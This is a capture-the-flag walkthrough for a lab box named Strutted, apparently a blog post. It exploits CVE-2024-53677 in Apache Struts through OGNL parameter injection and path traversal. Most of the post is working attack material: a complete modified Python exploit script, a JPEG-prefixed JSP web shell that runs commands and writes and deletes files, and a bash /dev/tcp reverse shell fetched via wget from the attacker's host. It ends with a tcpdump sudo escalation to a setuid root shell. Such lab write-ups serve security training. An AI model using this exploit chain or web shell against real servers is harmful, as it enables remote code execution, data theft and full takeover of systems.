# Strutted

## OVERVIEW

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767435795664/e63f8818-987b-4eb7-8192-fd531f5fff23.png align="center")

So we are given IP Address let’s start the enumeration using NMAP

## ENUMERATION

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767435915959/6a8a8151-f06d-4397-ba1b-21c2ff2db4a1.png align="center")

Let’s analyze these ports specifically Port 80 and don’t forget to add **strutted.htb** into **<mark>/etc/hosts</mark>**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767437866458/cb6221a6-9d2c-4af7-ac93-ab7659071c55.png align="center")

Here we can see there is an upload functionality but only JPG,JPEG,PNG,GIF formats are allowed and when we try to upload any other format it shows

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767438260632/80fd0e03-d963-4e0c-8b53-edfaa0941de7.png align="left")

Let’s see what happens when we upload a image file

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767441031768/57ea5b51-7e16-4b14-8042-d4115574190a.png align="center")

**We can see that it is saved in the directory \_/\_/file.png** in which the middle id is temporary which can’t be guessed so can’t access other files rather then the one we uploads

In the main page the right side has a Download button which allows us to download a zip file so let’s download and unzip that zip file

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767438553857/7766820b-d4e3-4074-be15-6722a1c21499.png align="center")

We came to know that it is using Apache + Tomcat which means **.jsp** file are used and you will get a password for an admin user in **tomcat-users.xml** file which could be useful in future.  
Let’s enumerate more in the /**strutted directory**

In **/strutted** directory there is a file named as pom.xml where we can see the struts version which is **6.3.0.1**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767439543216/a4aefa8b-9e2f-4290-a649-a9ec5169ccc0.png align="left")

In **/strutted/src/main/java/org/strutted/htb/Upload.java file** we can see:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767438968366/481eb91e-58ce-4784-bf59-98805b431090.png align="center")

The Upload functionality is checking whether the input is among these in short its checking each file headers/magic bytes that’s why we are not able to upload other files  
It also checks for the File content type to be Image and blocks other content type. (Can Confirm By Capturing Request In Burpsuite)

So As we now know the **struts version 6.3.0.1**  
Either found the CVE related to it and you will get the [**CVE-2024-53677**](https://nvd.nist.gov/vuln/detail/CVE-2024-53677)

Or Either while enumerating through the directories you will end up in **/strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst file**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767440538387/5175ba95-7f07-4c44-8dab-a35264938b0d.png align="center")

So while finding exploits for this CVE you will end up on this GitHub repo [**REPO\_LINK**](https://github.com/EQSTLab/CVE-2024-53677)

But before exploiting the vulnerability let’s see what is it about, and to know in detail come to this [**LINK**](https://www.skshieldus.com/download/files/download.do?o_fname=Research%20Technique%20Jan_Struts2%20File%20Upload%20Vulnerability%20\(CVE-2024-53677\).pdf&r_fname=20250124092748303.pdf)  

<details data-node-type="hn-details-summary"><summary>ABOUT THE VULNERABILITY (CVE-2024-53677) (BRIEF)</summary><div data-type="detailsContent">"The vulnerability we're exploiting is <strong>CVE-2024-53677</strong>, an OGNL (Object-Graph Navigation Language) parameter injection flaw in Apache Struts 2 (versions 2.0.0 to 6.3.0.1) that allows attackers to manipulate file upload parameters. By injecting the parameter <code>top.UploadFileName</code> during a file upload request, we can bypass path restrictions and rename our uploaded file after it passes security validation, enabling us to upload a malicious JSP file that achieves Remote Code Execution."</div></details>

---

## ATTACK PATH / EXPLOITATION

**Vulnerability: CVE-2024-53677 - Apache Struts 2 File Upload OGNL Injection**

Apache Struts 2's `FileUploadInterceptor` contains a critical flaw where attackers can inject OGNL expressions through HTTP parameter names to manipulate file upload properties. The vulnerability exists because:

1. **Security validation happens first** - The application checks if uploaded files are valid images (magic bytes + Content-Type)
    
2. **Parameter binding happens after** - Struts then processes HTTP parameters and binds them to the Action object using OGNL
    
3. **The exploit** - By sending a parameter named `top.UploadFileName` with value `../../shell.jsp`, we modify the filename property on the Value Stack AFTER validation
    
4. **Path traversal** - The `../../` allows us to escape the timestamp-based upload directory and place our file in the web root because its easy to access
    
5. **Polyglot file** - We embed JSP code inside a valid JPEG file (with magic bytes), which passes image validation but executes as JSP when accessed
    

---

Now let’s use the GitHub repo to Exploit This Vulnerability But The Scripts are missing some things

* The `.jsp` script will not work because the server validates uploaded files by checking the first 8 bytes (magic bytes) to ensure they're actual images - it looks for `FF D8 FF` (JPEG), `89 50 4E 47` (PNG), or `47 49 46 38` (GIF) which is not present in the script.
    
* The file started with `<%@` (test.txt), which failed this validation and got rejected before the OGNL parameter injection (`top.UploadFileName`) could even execute.
    
* Additionally, the Python script was sending `Content-Type: text/plain` instead of `image/jpeg`, causing a double failure.
    
* By prepending JPEG magic bytes (`\xff\xd8\xff\xe0`) to the beginning of the JSP file and changing the Content-Type to `image/jpeg`, the file now passes all image validation checks, gets uploaded successfully, then the parameter injection renames it to `.jsp`, and when accessed, Tomcat's JSP engine ignores the image bytes at the start and executes the JSP code embedded after them.
    

So Replace your **CVE-2024-53677.py with**

```python
import requests
import time
import sys
import argparse

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

# 배너 출력
banner = r"""..-+*******-                                                                                  
            .=#+-------=@.                        .:==:.                                                   
           .**-------=*+:                      .-=++.-+=:.                                                 
           +*-------=#=+++++++++=:..          -+:==**=+-+:.                                                
          .%----=+**+=-:::::::::-=+**+:.      ==:=*=-==+=..                                                
          :%--**+-::::::::::::::::::::+*=:     .::*=**=:.                                                  
   ..-++++*@#+-:::::::::::::::::::::::::-*+.    ..-+:.                                                     
 ..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.                                                       
 .-#=---**:::::::::::::::::::::::::=+++-:::-#:..            :=+++++++==.   ..-======-.     ..:---:..       
  ..=**#=::::::::::::::::::::::::::::::::::::%:.           *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.    
   .=#%=::::::::::::::::::::::::::::::::-::::-#.           %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-    
  .*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:.  =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-    
  .+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-.  :=====+#@@@@-=@@@+.  .%@@@%=+@@@+.  .#@@@%-    
   .+*::::::::::::::::::::::::+*******=::::::--@.+@#+==#-. #@@@@@@@@@@@@.=@@@%*++*%@@@%=+@@@#====@@@@%-    
   .=+:::::::::::::=*+::::::-**=-----=#-::::::-@%+=+*%#:. .@@@@@@@@@@@%=.:%@@@@@@@@@@@#-=%@@@@@@@@@@@#-    
   .=*::::::::::::-+**=::::-#+--------+#:::-::#@%*==+*-   .@@@@#=----:.  .-+*#%%%%@@@@#-:+#%@@@@@@@@@#-    
   .-*::::::::::::::::::::=#=---------=#:::::-%+=*#%#-.   .@@@@%######*+.       .-%@@@#:  .....:+@@@@*:    
    :+=:::::::::::-:-::::-%=----------=#:::--%++++=**      %@@@@@@@@@@@@.        =%@@@#.        =@@@@*.    
    .-*-:::::::::::::::::**---------=+#=:::-#**#*+#*.      -#%@@@@@@@@@#.        -%@@%*.        =@@@@+.    
.::-==##**-:::-::::::::::%=-----=+***=::::=##+#=.::         ..::----:::.         .-=--.         .=+=-.     
%+==--:::=*::::::::::::-:+#**+=**=::::::-#%=:-%.                                                           
*+.......+*::::::::::::::::-****-:::::=*=:.++:*=                                                           
.%:..::::*@@*-::::::::::::::-+=:::-+#%-.   .#*#.                                                           
 ++:.....#--#%**=-:::::::::::-+**+=:@#....-+*=.                                                            
 :#:....:#-::%..-*%#++++++%@@@%*+-.#-=#+++-..                                                              
 .++....-#:::%.   .-*+-..*=.+@= .=+..-#                                                                    
 .:+++#@#-:-#= ...   .-++:-%@@=     .:#                                                                    
     :+++**##@#+=.      -%@@@%-   .-=*#.                                                                   
    .=+::+::-@:         #@@@@+. :+*=::=*-                                                                  
    .=+:-**+%%+=-:..    =*#*-..=*-:::::=*                                                                  
     :++---::--=*#+*+++++**+*+**-::::::+=                                                                  
      .+*=:::---+*:::::++++++*+=:::::-*=.                                                                  
       .:=**+====#*::::::=%:...-=++++=.      Author: EQST(Experts, Qualified Security Team)
           ..:----=**++++*+.                 Github: https://github.com/EQSTLab/CVE-2024-53677  


============================================================================================================    

CVE-2024-53677 : Apache Struts2 File Upload vulnerabilities
File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0. Users are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload . If you are not using an old file upload logic based on FileuploadInterceptor your application is safe. You can find more details in  https://cwiki.apache.org/confluence/display/WW/S2-067

============================================================================================================= 
"""

# 하드코딩된 JSP 파일 내용 (JPEG 헤더 포함)
HARDCODED_FILE_CONTENT = """<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
    String action = request.getParameter("action");
    String output = "";

    try {
        if ("cmd".equals(action)) {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output += line + "\\n";
                }
                reader.close();
            }
        } else {
            output = "Unknown action.";
        }
    } catch (Exception e) {
        output = "Error: " + e.getMessage();
    }
    response.setContentType("text/plain");
    out.print(output);
%>
"""

class StrutsExploit:
    
    def __init__(self, url: str, path: str, file_content: str = None):
        self.url = url
        self.path = path
        self.file_content = file_content if file_content else HARDCODED_FILE_CONTENT

    def greeting(self) -> None:
        print(banner)

    # 스피너 애니메이션
    @staticmethod
    def spinner(duration=10, interval=0.1) -> None:
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    # 파일 업로드 함수 (FIXED!)
    def exploit(self) -> None:
        # Add JPEG magic bytes to the beginning
        jpeg_header = b'\xff\xd8\xff\xe0'
        
        # Convert file content to bytes and prepend JPEG header
        if isinstance(self.file_content, str):
            full_content = jpeg_header + self.file_content.encode('utf-8')
        else:
            full_content = jpeg_header + self.file_content
        
        files = {
            'Upload': ("exploit_file.jpg", full_content, 'image/jpeg'),  # Changed to .jpg and image/jpeg
            'top.UploadFileName': (None, self.path),
        }

        try:
            response = requests.post(self.url, files=files, verify=False)
            print("Status Code:", response.status_code)
            print("Response Text:", response.text[:500])  # Limit output
            if response.status_code == 200:
                print("\n[+] File uploaded successfully!")
                print(f"[+] Try accessing: {self.url.replace('/upload.action', '')}/{self.path.replace('../../', '')}")
            else:
                print("\n[-] Failed to upload file.")
        except requests.exceptions.RequestException as e:
            print(f"Request failed: {e}")

def main(args):
    # 파일 내용 읽기
    file_content = None
    if args.file:
        try:
            with open(args.file, 'rb') as f:  # Changed to 'rb' for binary read
                file_content = f.read()
                # Check if file already has JPEG header
                if file_content[:4] == b'\xff\xd8\xff\xe0':
                    print("[*] File already contains JPEG header, using as-is")
                else:
                    print("[!] Warning: File doesn't have JPEG magic bytes!")
                    print("[*] Adding JPEG header automatically...")
        except FileNotFoundError:
            print(f"Error: File '{args.file}' not found.")
            exit(1)

    # 실행
    exploit = StrutsExploit(args.url, args.path, file_content)
    exploit.greeting()
    StrutsExploit.spinner(duration=2)
    exploit.exploit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-53677 - Apache Struts File Upload Exploit")
    parser.add_argument("-u", "--url", required=True, help="The URL to send the POST request to (e.g., http://target.com/upload.action)")
    parser.add_argument("-p", "--path", required=True, help="The top.UploadFileName value (e.g., ../../shell.jsp)")
    parser.add_argument("-f", "--file", help="The local file to upload (will automatically add JPEG header if missing)")
    
    args = parser.parse_args()
    main(args)
```

**And create a new file with name shell.jsp and enter the below code into it**

```java
ÿØÿà<%@ page import="java.io.*, java.util.*" %>
<%
String action = request.getParameter("action");
String output = "";

try {
    if ("cmd".equals(action)) {
        // Execute system commands
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                output += line + "\n";
            }
            reader.close();
        }
    } else if ("upload".equals(action)) {
        // File upload
        String filePath = request.getParameter("path");
        String fileContent = request.getParameter("content");
        if (filePath != null && fileContent != null) {
            File file = new File(filePath);
            try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
                writer.write(fileContent);
            }
            output = "File uploaded to: " + filePath;
        } else {
            output = "Invalid file upload parameters.";
        }
    } else if ("list".equals(action)) {
        // List directory contents
        String dirPath = request.getParameter("path");
        if (dirPath != null) {
            File dir = new File(dirPath);
            if (dir.isDirectory()) {
                File[] files = dir.listFiles();
                if (files != null) {
                    for (File file : files) {
                        output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
                    }
                }
            } else {
                output = "Path is not a directory.";
            }
        } else {
            output = "No directory path provided.";
        }
    } else if ("delete".equals(action)) {
        // Delete files
        String filePath = request.getParameter("path");
        if (filePath != null) {
            File file = new File(filePath);
            if (file.delete()) {
                output = "File deleted: " + filePath;
            } else {
                output = "Failed to delete file: " + filePath;
            }
        } else {
            output = "No file path provided.";
        }
    } else {
        // Unknown operation
        output = "Unknown action. Available actions: cmd, upload, list, delete";
    }
} catch (Exception e) {
    output = "Error: " + e.getMessage();
}

// Return the result
response.setContentType("text/plain");
out.print(output);
%>
```

Now Run the Exploit

```apache
python3 CVE-2024-53677.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f shell.jsp
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767443738929/f7146df6-75da-47a8-9737-24457204610d.png align="center")

It shows that **shell.jsp** is successfully uploaded now let’s see if we get a successful RCE or not  
Head to

```apache
http://strutted.htb/shell.jsp?action=cmd&cmd=id
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767444098881/c9f79dc9-e159-4515-912c-8aadf279524d.png align="center")

Here we go !! We got the Remote Code Execution Now let’s get the foothold by taking reverse shell  
Since we can upload the file in server using RCE we will upload a reverse shell payload file into the server and then get the reverse shell as normal payload through URL is not seem to work.

So In your local machine :

```apache
echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/YOUR-IP/9002 0>&1"' > rev.sh

python3 -m http.server 80
```

In another terminal open netcat listener

```apache
nc -lvnp 9002
```

Now go to the webpage where you had your RCE

```apache
http://strutted.htb/shell.jsp?action=cmd&cmd=wget+YOUR-IP/rev.sh+-O+/tmp/rev.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/rev.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/rev.sh
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767444762155/777d7ee8-6f56-42da-98d7-9a0781c7d07e.png align="center")

You will get the reverse shell as tomcat but we can’t access **/home/james** directory so remember you got tomcat admin password at the start which u can also see here in **/var/lib/tomcat9/conf/tomcat-users.xml**

---

## USER FLAG

Now let’s try ssh login for user james with that password

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767445160987/c0980a95-5c2e-41f6-a989-c66ba5c77ba8.png align="center")

We got in and you can grab the user flag from the /home/james directory

---

## PRIVILEGE ESCALATION / ROOT FLAG

Now let’s enumerate for privilege escalation and for that when you will do `sudo -l` you will see

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767445336378/f26e7e2d-8c63-4a47-8e81-778d53afc3a9.png align="center")

Let’s head to [**GTFO bin**](https://gtfobins.github.io/gtfobins/tcpdump/) to find the way to escalate privilege using tcpdump

```apache
COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
ls -la /tmp/bash_root
/tmp/bash_root -p
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767445973205/9c626bb8-d89d-429f-a482-810b101f9972.png align="center")

We got the root access and now you can grab the root flag

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767446132870/40b547ea-ab44-4e26-bf9c-c957fa38dce3.png align="center")

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com/)

**THANKS FOR READING !!!**
